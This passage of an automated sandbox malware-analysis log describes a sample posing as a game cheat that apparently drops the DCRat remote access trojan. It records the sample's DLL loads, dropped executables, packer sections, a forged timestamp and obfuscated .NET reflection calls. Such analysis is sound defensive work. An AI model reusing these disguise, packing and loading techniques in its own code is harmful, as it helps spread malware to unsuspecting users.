Source: C:\Windows\SysWOW64\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dlnashext.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wpdshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrobj.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: textshaping.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll
Source: C:\blockweb\portrefNet.exe Section loaded: mscoree.dll
Source: C:\blockweb\portrefNet.exe Section loaded: apphelp.dll
Source: C:\blockweb\portrefNet.exe Section loaded: kernel.appcore.dll
Source: C:\blockweb\portrefNet.exe Section loaded: version.dll
Source: C:\blockweb\portrefNet.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\blockweb\portrefNet.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\blockweb\portrefNet.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\blockweb\portrefNet.exe Section loaded: uxtheme.dll
Source: C:\blockweb\portrefNet.exe Section loaded: windows.storage.dll
Source: C:\blockweb\portrefNet.exe Section loaded: wldp.dll
Source: C:\blockweb\portrefNet.exe Section loaded: profapi.dll
Source: C:\blockweb\portrefNet.exe Section loaded: cryptsp.dll
Source: C:\blockweb\portrefNet.exe Section loaded: rsaenh.dll
Source: C:\blockweb\portrefNet.exe Section loaded: cryptbase.dll
Source: C:\blockweb\portrefNet.exe Section loaded: sspicli.dll
Source: C:\blockweb\portrefNet.exe Section loaded: amsi.dll
Source: C:\blockweb\portrefNet.exe Section loaded: userenv.dll
Source: C:\blockweb\portrefNet.exe Section loaded: ntmarta.dll
Source: C:\blockweb\portrefNet.exe Section loaded: wbemcomn.dll
Source: C:\blockweb\portrefNet.exe Section loaded: propsys.dll
Source: C:\blockweb\portrefNet.exe Section loaded: dlnashext.dll
Source: C:\blockweb\portrefNet.exe Section loaded: wpdshext.dll
Source: C:\blockweb\portrefNet.exe Section loaded: edputil.dll
Source: C:\blockweb\portrefNet.exe Section loaded: urlmon.dll
Source: C:\blockweb\portrefNet.exe Section loaded: iertutil.dll
Source: C:\blockweb\portrefNet.exe Section loaded: srvcli.dll
Source: C:\blockweb\portrefNet.exe Section loaded: netutils.dll
Source: C:\blockweb\portrefNet.exe Section loaded: windows.staterepositoryps.dll
Source: C:\blockweb\portrefNet.exe Section loaded: wintypes.dll
Source: C:\blockweb\portrefNet.exe Section loaded: appresolver.dll
Source: C:\blockweb\portrefNet.exe Section loaded: bcp47langs.dll
Source: C:\blockweb\portrefNet.exe Section loaded: slc.dll
Source: C:\blockweb\portrefNet.exe Section loaded: sppc.dll
Source: C:\blockweb\portrefNet.exe Section loaded: onecorecommonproxystub.dll
Source: C:\blockweb\portrefNet.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 Jump to behavior
Source: C:\blockweb\portrefNet.exe Directory created: C:\Program Files\Windows Portable Devices\ukzoUeHPfeDwGdTDRNL.exe
Source: C:\blockweb\portrefNet.exe Directory created: C:\Program Files\Windows Portable Devices\4811fe426320bd
Source: C:\blockweb\portrefNet.exe Directory created: C:\Program Files\7-Zip\Lang\ukzoUeHPfeDwGdTDRNL.exe
Source: C:\blockweb\portrefNet.exe Directory created: C:\Program Files\7-Zip\Lang\4811fe426320bd
Source: FixTsDfhiC.exe Static file information: File size 13317632 > 1048576
Source: FixTsDfhiC.exe Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0xcb1400
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: Lunch LaCheat.exe, 00000022.00000003.1808515940.0000000004F74000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824780821.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1805618598.000000000396E000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1823791845.0000000003966000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1807504603.0000000004CE9000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1823496476.00000000036D8000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1808928510.0000000005207000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000003.1806529098.0000000003BFA000.00000004.00000020.00020000.00000000.sdmp, Lunch LaCheat.exe, 00000022.00000002.1824009704.0000000003BF0000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 00000023.00000003.1807258543.0000000004D80000.00000004.00000020.00020000.00000000.sdmp, DCRatBuild.exe, 00000023.00000000.1805391607.0000000000763000.00000002.00000001.01000000.00000008.sdmp, DCRatBuild.exe, 00000023.00000002.1813955205.0000000000763000.00000002.00000001.01000000.00000008.sdmp, DCRatBuild.exe, 00000023.00000003.1808042217.0000000004E9A000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \Desktop\DCLIB-master\obj\Debug\DCLIB.pdbU.o. a._CorDllMainmscoree.dll source: portrefNet.exe, 0000002C.00000002.1947126022.00000000024A0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: \Desktop\DCLIB-master\obj\Debug\DCLIB.pdb source: portrefNet.exe, 0000002C.00000002.1947126022.00000000024A0000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, ruGDE8wHCs1LugFJYDC.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, ruGDE8wHCs1LugFJYDC.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, ruGDE8wHCs1LugFJYDC.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
.NET source code contains potential unpacker
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, mVPDZufZM2W7mkK879j.cs .Net Code: wxQMPJUTVO System.AppDomain.Load(byte[])
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, mVPDZufZM2W7mkK879j.cs .Net Code: wxQMPJUTVO System.Reflection.Assembly.Load(byte[])
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, mVPDZufZM2W7mkK879j.cs .Net Code: wxQMPJUTVO
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, mVPDZufZM2W7mkK879j.cs .Net Code: wxQMPJUTVO System.AppDomain.Load(byte[])
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, mVPDZufZM2W7mkK879j.cs .Net Code: wxQMPJUTVO System.Reflection.Assembly.Load(byte[])
Source: 34.3.Lunch LaCheat.exe.39bb5b0.0.raw.unpack, mVPDZufZM2W7mkK879j.cs .Net Code: wxQMPJUTVO
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, mVPDZufZM2W7mkK879j.cs .Net Code: wxQMPJUTVO System.AppDomain.Load(byte[])
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, mVPDZufZM2W7mkK879j.cs .Net Code: wxQMPJUTVO System.Reflection.Assembly.Load(byte[])
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, mVPDZufZM2W7mkK879j.cs .Net Code: wxQMPJUTVO
Binary contains a suspicious time stamp
Source: 52cheatand52rat.exe.34.dr Static PE information: 0x9C61056C [Wed Feb 19 18:54:36 2053 UTC]
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .vmp1
File is packed with WinRar
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe File created: C:\blockweb\__tmp_rar_sfx_access_check_4136515 Jump to behavior
PE file contains sections with non-standard names
Source: Lunch LaCheatV2.exe.0.dr Static PE information: section name: .vmp0
Source: Lunch LaCheatV2.exe.0.dr Static PE information: section name: .vmp1
Source: Lunch LaCheat.exe.1.dr Static PE information: section name: .vmp0
Source: Lunch LaCheat.exe.1.dr Static PE information: section name: .vmp1
Source: DCRatBuild.exe.34.dr Static PE information: section name: .didat
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074E28C push eax; ret 35_2_0074E2AA
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074CAC9 push eax; retf 0074h 35_2_0074CACE
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Code function: 35_2_0074ED46 push ecx; ret 35_2_0074ED59
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Code function: 36_2_00007FFD9BAA5D50 push esi; retf 36_2_00007FFD9BAA5D64
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Code function: 36_2_00007FFD9BAA00BD pushad ; iretd 36_2_00007FFD9BAA00C1
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, X1FXHctVq7kE4pJRmYh.cs High entropy of concatenated method names: 'LkY51lKamo', 'apE59apTLb', 'l185p0gr7V', 'oNr5ddQGeP', 'v1x5c60a9L', 'Uuty8tkM18wp61hrkDf', 'VeRQjGkEHw3Q8asgmVu', 'Fbw6jrkvF7gtX0xJpVa', 'lC0gFckLZ18puOV2AUc', 'AMtCArkCcB6NLMt5FHW'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, XfZ5nTqO2eBgWgje4xu.cs High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'sTi4UqyGRJftkS1ZHnt', 'aNQkoEyzVITyOnD7t8F', 'X8PHJDq5Jo8W1Z56NsX', 'JnVY21qcxIgQ4hFRZVs', 'lyvonuqnw8f7bxLb3DN', 'vVOG7WqQl5pajghAZns'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, Lt3DSvqMxZcQ5oZBmim.cs High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'ti108i6bPMh7NNdD0Fg', 'gVVhxC61nmmPWuhSTk4', 'DQbUm86OGZcdm3KKjFo', 'KRhhys6vb76PXjs3uIn', 'gJmdVq6LVSYWZoOx71F', 'HOeuRI6MHyj8SAiueEi'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, Jb85v1sq6IWCtQ7Vqu.cs High entropy of concatenated method names: '_0023C', 'IndexOf', '_0023D', 'Insert', '_0023E', 'RemoveAt', '_0023F', 'get_Item', '_0023G', 'set_Item'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, vK3PiltUTHMLVDrDT8n.cs High entropy of concatenated method names: 'FBr6S3mhmp', 'mvGkoXHmahBtZ5DeyAP', 's3yI1IHlnbYWQ0cDjsW', 'tubhBvHwJMxNiUtCSoD', 'f06gDqHfv0377bFQKfj', 'tXv20oib2p', 'TDc2G9dTCL', 'wwZ2bbYM8P', 'edZ214Srfu', 'q8N29cRarq'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, q8LHkBqBZc0BmxvQWYH.cs High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'dc2h7s7l2bZ7ac2bgs5', 'XXkXrf7r24Mh4osJaef', 'BJKaqZ7DZBiopasUQXP', 'vOvdmP7NkIm7avuOprL', 'lb9aJS73vL1Cn8CVhEV', 'O9TKQq7t156fMSeGKyv'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, VwsI0eXAjxgDO5eO946.cs High entropy of concatenated method names: 'PJ1', 'jo3', 'QhACZG1nuJ', 'gnxC2qDR75', 'xgbCBXBdC6', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, z8gUbRX871YUO6KvEjH.cs High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, ix9Miew8MmrhPUW6iG7.cs High entropy of concatenated method names: 'A7EGRZWto2', 'MlUG8wO8sA', 'zjHGhA80h0', 'k1tGOFYPLo', 'H8kGetCy2q', 'cIMGa7LTR1', 'yQLGCpAmy2', 'nkHG0qyIkQ', 'h4SGGYebre', 'lokGbybUQ7'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, ctiO1aUb80GXStvVQ3f.cs High entropy of concatenated method names: 'sFTRYKjJvv', 'YFXRl2LSuZ', 'igKRvQ9RUr', 'aKNRNk5oQf', 'KGWRiMrEoo', 'q2hRL9enh2', 'vNOWsDCZGATwrY8gMq6', 'PJwbB8CdW955LNt4iEj', 'rvCMDxC4DFbmX1a1HI4', 'CaATkkCauyj44NtKGXO'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, nhbQX4wTCE0caeKIHB.cs High entropy of concatenated method names: 'EQXH4TCE0', 'Yi8356vripC8ilFp0f', 'SSvq0R1MYTyTJUTY0G', 'HWNHdtOUXBWVAWXdIX', 'L0xsrELxFiDu0W9bFR', 'AiWZ4IMeVAmJ4F6jb1', 'OIIfH6Xm7', 'qkJML7FH5', 'wxltexwLw', 'mafUaGdQV'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, Yarf2vfPQwRKas0dOld.cs High entropy of concatenated method names: 'YcBMNnVE0A', 'bFKFfAPQdJqDSLdxsRN', 'Ui04YvPBQas2ifmOoHO', 'FOsO4HPc1PT3R8IgsnS', 'VKZ4elPnV1yPfUV0Mae', 'sBfOimPIjyexNZHuxP8', 'LsGyCqP6Y0Sw1YbN2SJ', 'Ga87hZP7Iypv8oK2YEZ', 'j6PrYqPyXHrUnWoAJsd', 'mwpOhCPqk5ZNWH9xbCN'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, RSx3mxln0wS0orPm0E.cs High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'l2h1jXIjN1EHXRcdH8S', 'o2Ni80IFl7jUaGDcfSK', 'AVxZQ1IbsIs8ixlkEH7', 'rvguNmI1uOZvsnpN8hn', 'yiOQn9IOE4VjSvBjfxx', 'TZRaJjIvBLBitp2ap4b'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, Au6u9NXX2BPw1dlx1cN.cs High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, Thw6BMqwvwHF16riBkP.cs High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'DXXyLe6YjtAoUAlR400', 'IsQInp6JBBf6Bax69i9', 'RrgwEw62ZWLWR5FdqKm', 'nJmgoR68sn0tOY8nH2p', 'YDje1g6GePELr76Akld', 'UkWNYr6z9qJd2t0UiHX'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, OKOFf3AyEOTeQ8sF02.cs High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'HHARG2BfYWdYMpdL3vl', 'yqnvCRBmK9is93gbZw5', 'RAdw8XBlerWmPNMHejV', 'tBcVD7BrGUwGmKKlW1U', 'V53aXFBDCHnwZbTRin8', 'fjI1qBBN3EMlGrTwMVj'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, iWMFUTm5Qgip1Z9i3E.cs High entropy of concatenated method names: 'f1HRteHcI', 'KLh84nVgP', 'wkfh2Pa3I', 'Tp5OiNLJJ', 'tybeBsmlv', 'FegawM7Yt', 'Ku0CqOYbu', 'PKpGNPcyg7aCyWqRSYn', 'pV5Pahcqqo1MKYaLtGX', 'RpdF43c9ENdB4rxPv91'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, suwuZqqUaCC4bv2jsNt.cs High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'sAHwBF6dCOL3BN4shTu', 'dLDqJK64nHlexilVgsx', 'yJLm8S6Za6VXOQa402f', 'aIAlpp6ade7u8qbGyOX', 'PSKl916S7BgsIc6XHEM', 'KOA13J6sJdCf3N482rU'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, bUKS09MsXqrMAhvIgjN.cs High entropy of concatenated method names: 'LVkZ7ydJL1', 'RXHZgcq7kE', 'spJZSRmYhS', 'nYPaFINUATgOmD2wdj3', 'avDaptNhqOKZG3eGdIL', 'OR93XGNT6Xj1A8YDkQk', 'KmXl6UNecbQwCXrqvXN', 'yJ6ZXvuweT', 'CvGZw7UVGr', 'JyaZJQgawe'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, r1Nd7VMgjpfgH8UhQxo.cs High entropy of concatenated method names: 'CQFJxOA333', 'GPlJFtAkWb', 'twOJQmTxvP', 'zFOKUnDdD04qbhNC0yh', 'WHPR53D4h4jXhm4myGP', 'RDpdGxDZmn1Zwm7je4L', 'AtyTDdDavXYI4CjUynr', 'rsElwBDSV37y8BAOoeX', 'nYNKVTDsrCsQdvXY4Ar', 'MwpeOGDVh3NZsXZT7X7'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, Fioc1Eq5kI2Wt8Yw2K3.cs High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'pe8Y567gq5BdfHvRsHG', 'fycxlI7jSB8cgfDGNOp', 'jCO1mL7FZccHMJ3VyCm', 'kIkAFj7bdSYdMSAh8Np', 'kar2iO71X55aoCpyS4x', 'enfFTM7OVdnv3amTJ84'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, dVUBQucrV6vLHbsrlB.cs High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'Sx2g3IQEkNSyapVAdBm', 'ptGwXiQCWH9aZxJjeOS', 'R6XEt4Qpghm4myNgS0A', 'EnaSu1Qo508gWs5LXdV', 'oZdGeGQuOnEbNesrKRw', 'nDI3xxQhPTyyaEyjr35'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, bWvKHFeX1fCoZwKOW0.cs High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'D4idk5n0rHxOIMbXBpD', 'j99aY5nAJp7JVUikfi0', 'kjbyW8nROFsLNZpHQJ6', 'jTMKvkniuyvkpf3VChZ', 'YZHjornPXX4SAkLd81W', 'slmX5gnXcGpNtg8Lc7I'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, gKJnY3fffZyAJh7UTXY.cs High entropy of concatenated method names: 'RUNfjSb3Gb', 'qYlfxlZg75', 'SwJfFiM21b', 'z65fQeKRl3', 'jvXfYxaNYC', 'NTOflNCx0T', 'JFajgeRfh54h82epLwk', 'IXH5CyRmGleZOV1rM2I', 'Q73ZJmRWIuIR6u6KGDB', 'Od9WKuRwpETgG1aBejd'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, v1H9NwqEOJDUB1tm5YX.cs High entropy of concatenated method names: 'NKxfBJ9gEb', 'z1Tf6PI5PK', 'WyaLBQ0AmR8piRUljVY', 'xAvxBW09gEq0CG7AUy3', 'JgGt2K00mDjaXfxpECQ', 'CYkRpL0RaLhodWbkQKH', 'HnjsTg0i36s9WZlKYfM', 'L03M900P13ChX4MvafH', 'TIpof00XSGngI1vTvvj', 'SF0ZoB0WgDTwMsMjVcH'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, Fnr6ywMQNBPcTXUFQeh.cs High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'IT02B0NaA8', 'Qjt5q4hF13', 'Cyo2606ER3', 'vko5IrU3jc', 'sDiMNXtp85QCCZP79fg', 'rsYW6lto7dgftD01ift', 'r0Su44tE2uY5h1WWjtd'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, wqRwrbX1J1I0lijql3J.cs High entropy of concatenated method names: 'qyJ5TjUBrcELHDypRVR', 'okjImSUIpVSNypJkCGa', 'LULUEqUnkXXGocgk3ky', 'mRBREgUQCPKKyohB9iq', 'qjpO9d8jf1', 'WM4', '_499', 'lYROp9AR7q', 'xQjOdZft1Z', 'TfaOc8KN6Z'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, SnxHSTqDkQ0SnKZtlax.cs High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 's6IhVny5iCelJ8n2iZ5', 'bMhYt5yciBLIP5L6eew', 'CX02B3ynMkPf0nmVUtp', 'oMPJH7yQv8t8cvAnt4I', 'NXqCtlyB1LE0DFyDUv4', 'EsokVRyI9Xb9FF5MMqS'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, zmTxvPtB3JXpW99rT2g.cs High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, nKFhZaGINSnlIuOGr6.cs High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'oU4K1Tb85', 'Dj5REmnlY70lckCAcCY', 'qqChvVnrHb4tv0pesFG', 'hJsE6fnDqDqZAxYKs03', 'eCPPmMnNVMOi2NJ8FYU', 'lIaM53n3hgmj0mlweVl'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, MZcSW5XFnMZt2tTbkg5.cs High entropy of concatenated method names: 'Aj5CmemkBa', '_1kO', '_9v4', '_294', 'qpbCu8eZ1t', 'euj', 'MOiCRpBV8q', 'AeaC8rGIAN', 'o87', 'lb1Cho7prW'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, WWqZNXK75NEoPq9OON.cs High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'QNjyldQJYfb7F6L0bLM', 'ssMcBqQ2AgGWB1IgPnB', 'o2aqMYQ8P280noQTDmF', 'GSCGFYQGOiA1roIXyaY', 'PI3mSKQz1S28VLSo76D', 'dKVWDhB5Pf6DTg4wcVp'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, mVPDZufZM2W7mkK879j.cs High entropy of concatenated method names: 'J2UMbVjRB6', 'wLOM18f94l', 'bRDM9RQIua', 'FCCMpiX6Rh', 'zCuMdgCvtb', 'VVjMcclkjW', 'cmGMTsVGNs', 'WvRvtyixcFHmYmeLPBl', 'vecaksi3AcyP4Q2SSkc', 'B21HkIitdPNVhIQbKia'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, jnVE0AqQ75AvvmYSO4D.cs High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'NEOdEQ0O8F4GBDd9q3v', 'ANwRux0vVtbqoP3mbIo', 'bf7KUY0LWWhMWRwFqNq', 'dTeDGm0MtXA15BKAT4q', 'MBV3610Ee14N1BUI0C4', 'IauNtu0CQvuFhNmEbxV'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, GXbGVUq9ec7tQ7QY4FA.cs High entropy of concatenated method names: 'CorqlPm0EZ', 'dbCT6b9xt4SIjwGcTpo', 'Cc23qw9Hqw51fELBEUP', 'YqP1vO93KQCXtLglce7', 'qKypAP9tH44l4i9GFWP', 'Ut14gR9kUUP4DYoGUC0', 'QLw', 'YZ8', 'cC5', 'G9C'
